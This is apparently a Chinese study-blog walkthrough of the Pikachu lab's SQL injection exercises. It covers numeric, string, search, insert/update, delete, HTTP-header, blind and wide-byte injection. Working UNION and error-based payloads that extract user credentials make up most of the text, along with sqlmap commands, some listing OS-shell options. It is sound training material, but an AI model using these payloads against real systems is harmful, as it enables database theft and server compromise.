SQL注入-基于Pikachu的学习
SQL注入
SQL数据库的基本语句
SQL注入原理
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
SQL注入的分类
按注入点分类
- 数字型注入
- 字符型注入
- 搜索型注入
按照执行效果来分类
1.基于布尔的盲注:根据页面返回判断条件真假注入
2.基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3.基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
Pikachu靶场
sql 数字型注入(POST)
输入一个 1,页面没有回显,所以直接就burp抓包了
输入以下几个payload:
id=1 and 1=1
id=1 and 1=2
id=1’ and ‘1’=’1
id=1‘ and ’1‘=’2
判断是数字型的注入
输入以下的payload,开始爆字段数:
id=1 order by n //n从1到n,逐渐递增,直到出现错误
这里是到3就出错了,说明字段数为2
接下来id得设置为负数,让第一句话出错,因为我们的payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。
爆回显的位置:
id=-1 union select 1,2
可以发现1 和 2,都可以回显,我此处选择了2作为回显处
爆数据库名字:
id=-1 union select 1,database()
爆表的名字:
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'
爆列的名字:
id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'
爆数据:
id=-1 union select username,password from users
得到所有人的账号密码,但是这个密码是md5加密过的,md5解密一下就好了
(md5在线解密破解,md5解密加密 (cmd5.com))
sql 字符型注入(GET)
SQL的注释
MySQL中有3种注释:
① #,如果在url框中输入,需要直接url转码成 %23
② -- (最后面有个空格)
③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users; //此后可以当作空格用,如果空格被过滤了
我输入了payload后。
1'
发生了报错,然后就在我在分析闭合的时候也终于醒悟到一个东西。(猜测,具体我也不太清楚哈)
就是网站通常会把sql语句赋值给一个变量
$query='select * from where id = '$name''
当我们输入1‘的时候,就会发生
$query='select * from where id = '1'''
也就是报错显示为什么会是''1''',这时我们在输入
1' order by 3#
他就会变成
$query='select * from where id = '1'order by 3#'' //只会注释掉#后面的哪一个’,这样就形成了正确的闭合,所以意思就是自己再看报错的时候,直接去掉一对引号,就会舒服不少。
然后言归正传,确定了为字符型,就开始爆字段,#应该直接编码,我们直接用%23(#号的url编码)
1'order by n%23 //从1逐渐递增
此后步骤同第一步基本一致,所以我也不再赘述。
payload如下:
1' union select 1,2%23 //爆回显位置
1' union select 1,database()%23 //爆库名
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'%23 //爆表名
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆列名
1' union select username,password from users %23 //爆数据
成功了
sql 搜索型注入
网上了解到,搜索型注入一般如下所示:
$sql = "select * from user where password like '%$pwd%' order by password";
闭合一般就是 %'
我们输入一个 1'进行尝试一下
报错信息的确存在一个 %',那我们不妨就尝试一下%‘去进行闭合
1%'#
页面正常回显,那我们就如之前一样开始进行sql注入,先爆字段数
1%' order by n %23//n从1递增
说明字段数有3个,接下来就开始正常的操作
1%' union select 1,2,3 %23 // 爆回显位置,3处都回显
1%' union select 1,2,database() %23 // 爆库名
1%' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='pikachu' %23//爆表名
1%' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆列名
1%' union select 1,username,password from users %23//爆数据
sql xx型注入
我们输入
1'
产生报错,容易知道闭合条件就是
)'
所以还是老规矩爆字段数:
1') order by 3%23
字段数为2,所以开始判断回显,都能回显,直接老规矩sql一套流程下来
1') union select 1,2 %23 // 爆回显位置,3处都回显
1') union select 1,database() %23 // 爆库名
1') union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu' %23//爆表名
1') union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆列名
1') union select username,password from users %23//爆数据
sql insert/update注入
这题和之前是不太一样的,打开题目就是一个登录框,让我们注册一下
注册就是给我们的数据插入到数据库当中,也就是insert,之后我们登录就可以从数据库判断,所以我们就去在注册里找找注入点,这里我尝试了一下因为页面url无变化,应该是post请求,我们就直接burp抓包了,发送到重发器
我们接下来需要开始寻找注入点
username=admin'&password=123456'&sex=nan&phonenum=1111&email=2222&add=3333&submit=submit
加了一个单引号,页面开始报错
呃呃呃,这个我也不知道怎么闭合,没看懂,我网上搜了搜,说是去进行报错注入,接下来我们补充一点报错注入吧。
SQL 报错注入
-
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错、
-
updatexml()函数
- updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
-
extractvalue()函数
- 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
- extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- select user,password from users where user_id=1 and (extractvalue(1,0x7e));
- 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
这两个函数都是只能显示32位
回到题目,这里我们使用extractvalue函数去进行报错注入,都在用户那个输入框中爆破的
爆库名的payload如下
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or '
分析:1后面的单引号是为了闭合1前面的单引号,后面需要爆表、列等只需要替换select里面的语句,后面的单引号是为了闭合1原本存在的后面的一个单引号。如果你后面不想用单引号,想用注释,你需要整个闭合语句,我们的这个payload其实就只闭合了第一个参数,去进行报错注入的。
爆表名:
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or '
爆列名:
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or '
爆数据:
1' and extractvalue(1,concat(0x7e,(select group_concat(username,'-',password)from pikachu.users),0x7e))or '
由于md5加密是32位,而这个函数只能显示32位,所以明显不够,所以这里需要我们使用substr函数
payload:
1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,'-',password)from pikachu.users),1,32),0x7e))or '//前32位
1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,'-',password)from pikachu.users),32,64),0x7e))or '//后32位
所以完整的admin的密码为:
e10adc3949ba59abbe56e057f20f883e //md5解密为123456
总的来说报错注入挺难的,一不小心就是括号有问题,搞了好长时间,害
sql delete注入
打开题是个留言板,根据提示是删除的时候有些东西,我们抓包看一下
发现在进行删除的时候,传了一个参数id=61,我们试试能不能注入
id=61 order by 1
页面回显如下,因为这个东西被我们删掉了,所以没办法回显,那我们就尝试一下报错注入,这次用updatexml
爆库名
id=61 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
爆表名
id=61 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e),1)
爆列名
id=61 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu'and table_name='users'),0x7e),1)
爆数据(注意还是最多回显32位,所以我们需要取出来,这次用limit)
id=61 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1)
成功得到账号密码。
sql http头注入
打开题目是登录,登录进来就是这,吓我一跳,直接被记录了,那我们抓包看看
那我们就在User-Agent处找找有没有注入点,后面加一个单引号试试
果然页面报错了,那我们继续报错注入,payload都在User-Agent全删了,改成payload就行,有一说一报错注入,真好用,香的一批
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or ' //爆数据库
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or ' //爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or ' //爆列
1' and extractvalue(1,concat(0x7e,(select group_concat(username,'-',password)from pikachu.users),0x7e))or '//爆数据
其实到这里我发现这数据显示完整了,我也不懂,为啥不用substr,或者别的
基于boolian的盲注
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
这里我都采用sqlmap去注入
sqlmap常用的指令:
基本用法:
-u:指定目标URL。
--threads=<num>:指定并发线程数。
--level=<level>:设置测试等级,范围从1到5,默认为1。
--risk=<risk>:设置测试风险级别,范围从1到3,默认为1。
注入检测:
--dbs:获取数据库名称。
--tables:获取当前数据库中的表。
--columns -T <table>:获取指定表的列。
--dump -T <table> -C <column1,column2,...>:获取指定表中指定列的数据。
注入攻击:
--os-shell:获取操作系统的命令执行权限。
--sql-shell:获取数据库的命令执行权限。
--os-cmd=<command>:执行操作系统命令。
--sql-query=<query>:执行自定义的SQL查询语句。
其他选项:
--batch:以非交互模式运行,忽略所有交互请求。
--flush-session:在每个HTTP请求之前刷新会话。
--tamper=<tamper_script>:指定自定义的tamper脚本,用于修改请求数据。
搜索一个1,发现url改变,这里很可能就是注入点,我们复制url,去sqlmap跑(我这里是使用了kali里面的)
sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
这里挺奇怪,竟然没有显示bool注入
爆库:
sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch
爆表:
sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --level 5 --batch
爆列:
sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --level 5 --batch
爆数据:
sqlmap -u "http://192.168.134.67/pikachu-master/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump --level 5 --batch
结果实在太慢了就不截图了
基于时间的盲注
这题同上sqlmap慢慢跑吧
宽字节注入:
原理:
打开题目输入了一下,1’ 1什么的都没报错,我们抓包,直接开始宽字符注入
1%df'
页面既然发生报错,那我们就把后面注释了,毕竟我们闭合了一个单引号
1%df' #
开始判断字段数:
1%df' order by n#(n从1递增)
n到3报错,所以字段数是2,开始判断回显,1 2 均回显。
1%df' union select 1,2 #
开始老套路:
爆库:
1%df' union select 1,database() # //爆库名
爆表名:(这里爆表名不能再像之前那样了,因为单引号被转义了,那我们就嵌套)
1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
爆列名:
1%df'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#
爆数据:
1%df'union select 1,(select group_concat(username,0x3b,password) from users)#
成功了,拿到账号密码!